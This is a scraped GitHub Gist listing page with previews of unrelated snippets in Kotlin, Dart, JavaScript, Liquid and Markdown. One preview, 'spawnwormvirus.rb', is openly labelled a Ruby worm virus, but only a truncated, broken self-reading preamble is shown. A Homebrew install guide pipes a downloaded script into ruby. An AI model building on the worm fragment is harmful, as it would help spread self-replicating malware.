Skip to content

Instantly share code, notes, and snippets.

View polymaxcube's full-sized avatar
🧸
AFK griding

samitygon polymaxcube

🧸
AFK griding
  • 09:58 (UTC -12:00)
View GitHub Profile
"use client";
import { Button } from "@/components/ui/button";
import {
Form,
FormControl,
FormField,
FormItem,
FormLabel,
FormMessage,
} from "@/components/ui/form"; //shadcn ui folder
@Silverbaq
Silverbaq / Client.kt
Created August 31, 2019 19:54
A simple socket client in Kotlin
import java.io.OutputStream
import java.net.Socket
import java.nio.charset.Charset
import java.util.*
import kotlin.concurrent.thread
fun main(args: Array<String>) {
val address = "localhost"
val port = 9999
@ajmaln
ajmaln / downloadFile.dart
Last active June 10, 2025 10:06
Download file with progress in Dart/Flutter using 'http' package
import 'dart:typed_data';
import 'dart:io';
import 'package:http/http.dart';
import 'package:path_provider/path_provider.dart';
downloadFile(String url, {String filename}) async {
var httpClient = http.Client();
var request = new http.Request('GET', Uri.parse(url));
@hazzard993
hazzard993 / luarocks-installation-windows10.md
Last active September 21, 2024 10:03
LuaRocks installation guide for Windows 10 users

Via Windows Linux Subsystem (WSL)

The luarocks package can be installed on a Windows Linux Subsystem.

Once installed, to use it, use luarocks inside a WSL shell or wsl luarocks within a Windows shell.

wsl                             # Enter WSL shell (if installed and enabled)
sudo apt-get update             # Update package lists (otherwise luarocks may not be found)
sudo apt-get install luarocks # Install luarocks
@justingraham12
justingraham12 / SpringBootKotlinApplication.kt
Created December 2, 2016 18:19
A Spring Boot hello world rest example in Kotlin
import org.springframework.boot.SpringApplication
import org.springframework.boot.autoconfigure.SpringBootApplication
import org.springframework.web.bind.annotation.GetMapping
import org.springframework.web.bind.annotation.PathVariable
import org.springframework.web.bind.annotation.RestController
@SpringBootApplication open class Application
fun main(args: Array<String>) {
SpringApplication.run(Application::class.java, *args)
@nrollr
nrollr / MySQL_macOS_Sierra.md
Last active September 27, 2025 02:50
Install MySQL on Sierra using Homebrew

Install MySQL on macOS Sierra

This procedure explains how to install MySQL using Homebrew on macOS Sierra 10.12

Install Homebrew

  • Installing Homebrew is effortless, open Terminal and enter :
    $ /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
  • Note: Homebrew will download and install Command Line Tools for Xcode 8.0 as part of the installation process.

Install MySQL

At this time of writing, Homebrew has MySQL version 5.7.15 as default formulae in its main repository :

@thomasjslone
thomasjslone / spawnwormvirus.rb
Created September 14, 2016 01:33
Ruby worm virus at its most simple
##821123##
resdir = C:/Users/House/Desktop/spawnwormvirus.rb
begs = "##821" + "123##
ends = "##964" + "525##
$malicious = false
file = File.open(resdir,"r")
filec = file.read.to_s
file.close
str1 = begs.to_s
str2 = ends.to_s
@webarthur
webarthur / routes.js
Created July 24, 2016 14:29
pushState javascript router to vanilla js framework
var routes = (function(history){
var pushState = history.pushState;
history.pushState = function(state) {
typeof(history.onpushstate) == "function" && history.onpushstate({state: state});
setTimeout(routes.check, 10);
return pushState.apply(history, arguments);
};
@zenorocha
zenorocha / basic.md
Last active March 26, 2023 09:00
New Firebase Auth vs Old Firebase Auth
@Phlow
Phlow / jeykll-post-counter.liquid
Last active November 22, 2019 00:27
Counter: This code snippet just counts your jekyll posts and spits out the result
{% comment %}
*
* Counter: This include counts your jekyll posts
*
{% endcomment %}{% assign counter = 0 %}{% for item in site.posts %}{% unless item.published == false %}{% assign counter=counter | plus:1 %}{% endunless %}{% endfor %}{{ counter }}